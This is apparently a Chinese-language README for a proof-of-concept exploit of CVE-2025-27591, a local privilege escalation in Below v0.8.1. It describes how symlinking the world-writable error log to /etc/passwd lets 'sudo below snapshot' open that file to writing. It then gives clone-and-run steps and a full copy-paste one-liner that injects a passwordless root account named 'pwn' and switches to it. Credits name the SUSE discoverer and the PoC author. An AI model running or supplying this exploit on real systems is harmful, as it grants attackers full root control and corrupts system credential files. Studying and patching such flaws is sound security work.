Below v0.8.1 - 本地权限提升 (CVE-2025-27591)

Below v0.8.1
通过全局可写日志符号链接实现本地权限提升
PoC漏洞利用

简介

Below 版本0.8.1存在一个严重的本地权限提升漏洞(CVE-2025-27591)。
由于错误配置的全局可写日志目录(/var/log/below/)和Rust代码库中的不安全权限逻辑，本地攻击者可以将error_<user>.log符号链接到任何root拥有的文件，如/etc/passwd。

当使用sudo执行below snapshot时，它会强制将日志文件模式设置为0666并写入其中——即使它是一个符号链接。
这允许注入具有root权限的无密码用户，从而获得完整的root shell访问权限。

使用方法

1
2
3
4

git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh

或者

单行命令 - (复制、粘贴并执行)

1

u=$(id -un); rm -f /var/log/below/error_$u.log; ln -s /etc/passwd /var/log/below/error_$u.log; echo 'pwn::0:0:root:/root:/bin/bash' > /tmp/pwn_entry; cat /tmp/pwn_entry > /var/log/below/error_$u.log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; su pwn

环境要求

• Below v0.8.1
• Systemd管理的Linux系统(Ubuntu, Arch, Fedora等)
• 用户在sudo组中，并对/usr/bin/below *具有NOPASSWD访问权限

致谢

由Matthias Gerstney @ SUSE发现并报告 - 安全公告
PoC漏洞利用 - Ravindu Wickramasinhge AKA rvz